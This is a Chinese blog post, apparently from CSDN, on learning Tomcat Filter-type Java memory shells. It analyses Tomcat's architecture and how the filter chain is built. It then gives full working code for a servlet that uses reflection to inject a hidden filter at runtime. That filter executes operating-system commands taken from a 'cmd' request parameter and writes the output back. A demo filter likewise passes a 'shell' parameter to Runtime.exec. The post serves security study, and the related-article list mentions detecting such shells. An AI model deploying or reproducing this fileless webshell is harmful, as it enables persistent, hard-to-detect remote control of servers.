Java内存马学习-Filter

最新推荐文章于 2024-09-05 20:11:00 发布
最新推荐文章于 2024-09-05 20:11:00 发布
阅读量915 收藏 2
点赞数
分类专栏： Java 基础知识 文章标签： java 学习 tomcat
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cjdgg/article/details/124260591
版权

Java内存马学习-Filter

基础知识

Tomcat架构学习

在这里插入图片描述

Server：
Server，即指的WEB服务器,一个Server包括多个Service。

Service：

Service的作用是在Connector和Engine外面包了一层（可看上图），把它们组装在一起，对外提供服务。一个Service可以包含多个Connector，但是只能包含一个Engine，其中Connector的作用是从客户端接收请求，Engine的作用是处理接收进来的请求。后面再来细节分析Service。

Connector：

Tomcat有两个典型的Connector，一个直接侦听来自browser的http请求，一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

Engine：

Engine下可以配置多个虚拟主机，每个虚拟主机都有一个域名当Engine获得一个请求时，它把该请求匹配到某个Host上，然后把该请求交给该Host来处理Engine有一个默认虚拟主机，当请求无法匹配到任何一个Host上的时候，将交给该默认Host来处理。

Host：

代表一个虚拟主机，每个虚拟主机和某个网络域名Domain Name相匹配
每个虚拟主机下都可以部署(deploy)一个或者多个Web App，每个Web App对应于一个Context，有一个Context path，当Host获得一个请求时，将把该请求匹配到某个Context上，然后把该请求交给该Context来处理匹配的方法是“最长匹配”，所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

Context：

一个Context对应于一个Web Application，一个WebApplication由一个或者多个Servlet组成
Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类，当Context获得请求时，将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到，则执行该类，获得请求的回应，并返回。

Connector和ProtocolHandler这里就不说了，感兴趣的自己去了解下，这里只说一说Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求，并返回对象给web用户的模块。

Container 处理请求，内部是使用Pipeline-Value管道来处理的，每个 Pipeline 都有特定的 Value（BaseValue），BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道，FilterChain 其实就是这种模式，FilterChain相当于 Pipeline，每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve、StandardHostValve 、StandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ，而且是在管道的最后一个执行，这个Valve 叫BaseValve，BaseValve 是不可删除的。

在这里插入图片描述
在这里插入图片描述
这两张图就很好的解释了它的流程，看到最后一张图，在wrapper-Pipline执行完成后会去创建一个FilterChain对象也就是我们的过滤链。

过滤链基础知识学习

ServletContext：
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口，提供
了Web应用所有Servlet的视图，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器
在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用。
并且它被所有客户端共享。 

ApplicationContext：
org.apache.catalina.core.ApplicationContext对应Tomcat容器，为了满足Servlet规
范，必须包含一个ServletContext接口的实现。
Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext：
Catalina主要包括Connector和Container，StandardContext就是一个Container，它主
要负责对进入的用户请求进行处理。实际来说，不是由它来进行处理，而是交给内部的valve处理。
一个context表示了一个外部应用，它包含多个wrapper，每个wrapper表示一个servlet定义。
（Tomcat 默认的 Service 服务是 Catalina）

在这里插入图片描述

FilterDefs：存放 FilterDef 的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例
等基本信息
FilterConfigs：存放 filterConfig 的数组，在 FilterConfig 中主要存放 FilterDef 
和Filter 对象等信息
FilterMaps：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对
应的 URLPattern

只要我们将filter ，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter
了

漏洞分析

实验代码

import javax.servlet.*;
import java.io.IOException;

public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

这是本次实验用到的分析代码，tomcat的源代码还需要自己导入
配置xml：

<filter>
        <filter-name>enfilter</filter-name>
        <filter-class>FilertDemo</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>enfilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

FliterDemo-doFliter

先在这下个断点
在这里插入图片描述
拿到了调用栈后我们接下来逆向分析看看怎么到这里来的

ApplicationFilterChain-internalDoFilter

在这里插入图片描述

org.apache.catalina.core.ApplicationFilterChain的internalDoFilter会从filterConfig中去获取到一个filter对象，然后会去调用filter.doFilter才会来到我们配置的FliterDemo的doFilter方法中

继续往回看

ApplicationFilterChain-doFilter

在这里插入图片描述
org.apache.catalina.core.ApplicationFilterChain的doFilter方法调用了internalDoFilter方法

继续往回看

StandardWrapperValve-invoke

在这里插入图片描述
org.apache.catalina.core.StandardWrapperValve的invoke方法会调用org.apache.catalina.core.ApplicationFilterChain的doFilter方法

但在invoke方法里是filterChain.doFilter，那么我们需要看看filterChain是如何获取到的
在这里插入图片描述
这里使用ApplicationFilterFactory.createFilterChain创建了一个过滤链，传入request, wrapper, servlet作为参数。

下面我们跟进ApplicationFilterFactory.createFilterChain看看

ApplicationFilterFactory-createFilterChain

在这里插入图片描述
这里则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。
在这里插入图片描述
前面的前置知识我们也说过了，FilterDef 中存储着我们过滤器名，过滤器实例。因此我们不难看出，enfilter就是我们创建的FilterDemo，至于第一个过滤器是tomcat自带的过滤器
在这里插入图片描述
FilterConfigs也有了过滤器名和它对应的url

继续往下看
在这里插入图片描述
遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配，匹配成功后，还需判断StandardContext.filterConfigs中，是否存在对应filter的实例，当实例不为空时通过addFilter方法，将管理filter实例的filterConfig添加入filterChain对象中

我们看到上面的值其实都是通过context得到的，而且通过下图我们可以看到，context是StandardContext类的
在这里插入图片描述

我们继续回溯看看

StandardWrapperValve

在这里插入图片描述
在这里插入图片描述

StandardContextValve

在这里插入图片描述
在这里插入图片描述

StandardHostValve

在这里插入图片描述
通过这我们不难看出这里是最早产生context的地方
在这里插入图片描述

StandardEngineValve

在这里插入图片描述
在这里插入图片描述

知识点结合

回溯到这里就可以了，上面的这些流程其实就是我们前置知识里面的知识点

StandardEngineValve->StandardHostValve->StandardContextValve->StandardWrapperValve就是下面这张图的流程
在这里插入图片描述
做完这些后，在ApplicationFilterFactory-createFilterChain里就用了前面这几步产生的context里的filterConfig构造了filterChain
在这里插入图片描述

filterChain后续

StandardWrapperValve中产生filterChain后，就执行了doFilter
在这里插入图片描述
doFilter之后会快速跟进internalDoFilter
在这里插入图片描述
internalDoFilter会遍历所有要添加的Filter，然后执行他们的doFilter方法，因此这里我们就回到了我们构造的恶意的FilterDemo
在这里插入图片描述
在这里插入图片描述
之后会继续添加剩余的Filter
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
最后启动程序

Filter内存马实现

综合前置知识以及前面的分析，下面给出内存马的代码，这里直接搬运了参考文章里的

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context，也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef，设置filter名等参数后，调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径，并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig，构造方法将 FilterDef传入后获取filterConfig后，将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");


            }
        } catch (Exception e) {
            e.printStackTrace();
        }




    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

访问一次该servlet后就可以把filter添加进去了

参考文章

https://xz.aliyun.com/t/10888
https://www.cnblogs.com/nice0e3/p/14622879.html#0x01-tomcat%E6%9E%B6%E6%9E%84%E5%88%86%E6%9E%90

lmonstergg
关注
专栏目录
Java Tomcat内存马——filter内存马
m0_61506558的博客
11-17 610
至此，invoke()部分的所有流程我们都分析完毕了，接着继续往上看，也就是doFilter()方法。这个doFilter()方法也是由最近的那个invoke()方法调用的。如图，我们把断点下过去。如果师傅们这个invoke()方法可用的话，可以断点下这里，如果不可用的话可以下到后面doFilter()方法。这里我们要重点关注前文说过的这个变量，那它是什么呢？我们跟进这个方法。使用创建了一个过滤链，将进行传递。我们在方法走一下流程。
Java内存马相关文章
SHELLCODE_8BIT的博客
08-15 229
JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org)
[JAVA安全]filter 内存马
snowlyzz的博客
01-11 568
Filter 内存马学习笔记
Java内存马学习--Filter内存马
zyer
08-04 982
Filter内存马，入门级
java怎么编写内存马
weixin_36845733的博客
07-14 50
如何使用Java编写内存马 内存马（Memory Shellcode）是一种利用内存中的恶意代码来执行攻击的技术。在本文中，我们将介绍如何使用Java编写内存马，并通过代码示例展示实现过程。 1. 理解内存马的原理 内存马的原理是将恶意代码注入到目标进程的内存空间中，然后利用目标进程执行该恶意代码。这样可以绕过传统的安全防...
java Filter内存马分析
zkaqlaoniao的博客
12-20 304
内存马就是无文件木马，无文件落地，它通常会存在进程，内存或者java虚拟机中，特点更加隐蔽，难以排查，并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马，主要将恶意代码注入到过滤器中，当过滤器拦截servlet请求的参数时，过滤器中的恶意代码就会执行。
Filter内存马浅析
angry_program的博客
05-11 2253
1. 何谓内存马？ 以Tomcat为例，内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性，只要将我们的恶意组件注入其中，就可以一直生效，直到容器重启。 Java内存shell有很多种，大致分为： 1. 动态注册filter 2. 动态注册servlet 3. 动态注册listener 4. 基于Java agent拦截修改关键类字节码实现内存shell 该文主要研究Filter内存马的原理和实现。 2. Filter注册流程 假设有一个需要注册的filter类——F.
tomcat Filter内存马
weixin_45682070的博客
02-16 1417
Tomcat Filter 流程分析 首先创建一个javaWeb项目，再把tomcat/lib/catalina.jar和tomcat/lib/servlet-api.jar添加到项目中，创建一个demo文件。如果不会的化可以参考这篇文章 demo package filter; import javax.servlet.*; import java.io.IOException; public class filterDemo implements Filter { public void
Tomcat Filter类型内存马与查杀技术学习1
08-03
对于Java内存马的查杀，可以考虑以下策略： 1. 监控和审计Tomcat的动态注册行为，防止恶意组件的添加。 2. 定期检查和更新Tomcat配置，避免被恶意篡改。 3. 使用安全扫描工具对Tomcat容器进行深度扫描，查找潜在的...
内存马介绍及分析-带查杀工具tomcat memshell scanner.jsp
weixin_65629944的博客
12-18 1027
先判断是通过什么方法注入的内存马，可以先查看web日志是否有可疑的web访问日志，如果是filter或者listener类型就会有大量url请求路径相同参数不同的，或者页面不存在但是返回200的，查看是否有类似哥斯拉、冰蝎相同的url请求，哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。4.java VisualVM工具：是一款免费的，集成了多个 JDK 命令行工具的可视化工具，它能为您提供强大的分析能力，对 Java 应用程序做性能分析和调优。cmd=后跟命令即可。
【安全记录】基于Tomcat的Java内存马初探
君行路的博客
08-22 448
文章目录1. 前言2. 基础知识2.1 servlet 和 filter2.2 servlet 和 filter 的生命周期2.3 Tomcat 的 Container – 容器组件2.4 Tomcat中的启动加载顺序3. 内存马技术实现介绍3.1 获取上下文对象 ServletContext3.1.1 通过当前 request 对象获取 ServletContext3.1.2 通过 `Thread.currentThread().getContextClassLoader()` 获取 StandardCo
基于filter的内存马
星星我啊，已经很努力在学习了， 有人一起学习吗？Ziansec-1
01-09 1333
FilterMaps：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern，只要我们将filter ，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter了。又回到之前ApplicationFilterFactory里，这里会返回filterChain这个对象，如果我们直接filterConfig的内容，是不是就能在filterChain调用addFilter时，将filter添加进去。
Tomcat Filter类型内存马与查杀技术学习
wangluoanquan111的博客
08-04 1074
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
JAVA 内存马
qq_43148822的博客
05-24 58
缺点：针对恶意代码的分析，如果恶意代码不是存在于该可疑的类中，而是通过多层的调用链调用的，分析的难度将大大增加，针对单个class的分析将无法有效的检测出。至此，已经成功将Java进程中的Servlet类修改，所有的请求都会经过内存马的代码，攻击者构造特定格式的POST请求就会进入内存马的代码逻辑中，执行恶意请求。我们可以同样利用Java 的Instrument机制，动态注入我们的检测Agent，获取JVM中所有加载的Class的数据，针对内存马可疑的特征，让隐藏的内存马现出原型。
Tomcat内存马学习1：Filter型
weixin_43263451的博客
07-20 1172
传统的JSP木马特征性强，且需要文件落地，容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”，相较于传统的JSP木马，其最大的特点就是无文件落地，存在于内存之中，隐蔽性强。filter型内存马就是通过动态添加恶意filter组件到正在运行的Tomcat服务器中。导致http请求通过该filter时会执行该filter的恶意代码今天说的时Tomcat型内存马，其大概分为以下三类Filter型Servlet型Listener型内存马利用条件。...
Java内存马-Instrument
mole_exp的博客
04-20 942
文章目录Java Instrument简介Java Agent 开发agentmain() 方法VirtualMachineAgent内存马实现：Tomcat环境演示：Tomcat环境演示：Springboot环境Instrument内存马的特点参考 Java Instrument简介 我们只要拥有一个web容器进程执行用户的权限，理论上就可以完全控制该进程的地址空间（更确切的说是地址空间中的非Kernel部分），包括地址空间内的数据和代码。OS层进程注入的方法有很多，不过具体到Java环境，我们不需要使用
java-tomcat-filter内存马
！
12-31 786
java内存马
Java内存马-Tomcat篇
mole_exp的博客
04-20 1195
Java安全_内存马-Tomcat篇
Java内存马使用
最新发布
mudi13的博客
09-05 1073
对于终端安全：有文件监控、防篡改、EDR；对于后门：有 Webshell 查杀、流量监测；对于网络层面：有防火墙防止反连、反向代理系统隐藏真实 IP；等等。​ 目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上，在部分环境下甚至完全无法落地，防御方可以做到快速应急响应。正因为这些限制，内存马技术得以诞生并快速发展，无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多的师傅青睐，在实战环境中已占得一席之地。
Bloom-Filter算法实现URL过滤器
Bloom-Filter的主要优点是占用内存小且查询速度快，但缺点是存在一定的误判率，即可能会将不存在的元素误判为存在。 Bloom-Filter的工作原理是利用多个不同的哈希函数将元素映射到一个固定大小的位数组（bit array...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值